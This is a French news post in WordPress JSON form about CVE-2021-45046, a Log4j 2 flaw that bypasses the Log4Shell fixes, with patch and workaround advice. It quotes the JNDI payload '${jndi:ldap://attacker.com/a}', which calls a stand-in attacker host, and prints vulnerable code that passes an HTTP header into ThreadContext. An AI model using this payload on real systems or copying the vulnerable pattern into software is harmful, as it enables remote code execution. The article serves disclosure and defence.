{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Une nouvelle variante de l'attaque Log4j 2 permet de contourner la protection ajout\u00e9e.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Une nouvelle vuln\u00e9rabilit\u00e9 (CVE-2021-45046) a \u00e9t\u00e9 identifi\u00e9e dans la mise en \u0153uvre des substitutions JNDI de la biblioth\u00e8que Log4j 2, qui se manifeste malgr\u00e9 les corrections apport\u00e9es dans la version 2.15 et est ind\u00e9pendante de l'utilisation du param\u00e8tre «log4j2.noFormatMsgLookup» pour protection. Ce probl\u00e8me repr\u00e9sente un risque principalement pour les anciennes versions de Log4j 2, prot\u00e9g\u00e9es par le drapeau «noFormatMsgLookup», permettant de contourner la protection contre une vuln\u00e9rabilit\u00e9 pr\u00e9c\u00e9dente (Log4Shell, CVE-2021-44228) qui permet d'ex\u00e9cuter du code sur le serveur. Pour les utilisateurs de la version 2.15, l'exploitation se limite \u00e0 provoquer un crash de l'application d\u00fb \u00e0 l'\u00e9puisement des ressources disponibles. <\/p>\n
La vuln\u00e9rabilit\u00e9 ne se manifeste que sur les syst\u00e8mes o\u00f9 des requ\u00eates contextuelles (Context Lookup) sont utilis\u00e9es lors de la journalisation, telles que ${ctx:loginId}, ou des mod\u00e8les MDC (Thread Context Map), par exemple, %X, %mdc et %MDC. L'exploitation consiste \u00e0 cr\u00e9er des conditions pour l'enregistrement dans le journal de donn\u00e9es contenant des substitutions JNDI, lors de l'utilisation dans l'application de requ\u00eates contextuelles ou de mod\u00e8les MDC d\u00e9finissant des r\u00e8gles de formatage pour la sortie dans le journal. <\/p>\n
Les chercheurs de LunaSec ont not\u00e9 que pour les versions de Log4j inf\u00e9rieures \u00e0 2.15, cette vuln\u00e9rabilit\u00e9 peut \u00eatre exploit\u00e9e comme un nouveau vecteur d'attaque Log4Shell, entra\u00eenant l'ex\u00e9cution de code si les expressions ThreadContext contenant des donn\u00e9es externes sont utilis\u00e9es dans les journaux, ind\u00e9pendamment de l'activation du drapeau «noMsgFormatLookups» ou du mod\u00e8le «%m{nolookups}».
<\/center> <\/p>\n
Le contournement de la protection consiste \u00e0 ce que, au lieu d'une substitution directe «${jndi:ldap:\/\/attacker.com\/a}», cette expression soit ins\u00e9r\u00e9e via une valeur de variable interm\u00e9diaire utilis\u00e9e dans les r\u00e8gles de formatage des journaux. Par exemple, si lors de la g\u00e9n\u00e9ration des journaux, la requ\u00eate contextuelle ${ctx:apiversion} est utilis\u00e9e, l'attaque peut \u00eatre men\u00e9e en ins\u00e9rant la donn\u00e9e «${jndi:ldap:\/\/attacker.com\/a}» dans la valeur affect\u00e9e \u00e0 la variable apiversion. Exemple de code vuln\u00e9rable : appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/${'»}) public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ La valeur de l'en-t\u00eate HTTP «X-Api-Version» est transmise dans le ThreadContext ThreadContext.put(«apiversion», apiVersion); \/\/ Lors de la g\u00e9n\u00e9ration des journaux, la valeur externe apiversion sera trait\u00e9e via la substitution ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; } <\/p>\n
Dans la version Log4j 2.15, la vuln\u00e9rabilit\u00e9 peut \u00eatre exploit\u00e9e pour r\u00e9aliser des attaques DoS en injectant dans le ThreadContext des valeurs entra\u00eenant une boucle infinie dans le traitement du mod\u00e8le de formatage de sortie.
<\/center> <\/p>\n
Pour bloquer la vuln\u00e9rabilit\u00e9, des mises \u00e0 jour 2.16 et 2.12.2 ont \u00e9t\u00e9 publi\u00e9es. Dans la branche Log4j 2.16, en plus des correctifs apport\u00e9s dans la version 2.15 et de l'attachement des requ\u00eates JNDI LDAP \u00e0 \u00ab localhost \u00bb, la fonctionnalit\u00e9 JNDI est compl\u00e8tement d\u00e9sactiv\u00e9e par d\u00e9faut et le support des mod\u00e8les de substitution de messages a \u00e9t\u00e9 supprim\u00e9. Comme solution de contournement, il est propos\u00e9 de supprimer la classe JndiLookup du classpath (par exemple, \u00ab zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class \u00bb). <\/p>\n
On peut suivre l'apparition des correctifs dans les paquets sur les pages des distributions (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) et chez les fournisseurs de plateformes Java (GitHub, Docker, Oracle, vmWare, Broadcom et Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.). \n Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Une](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Une](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n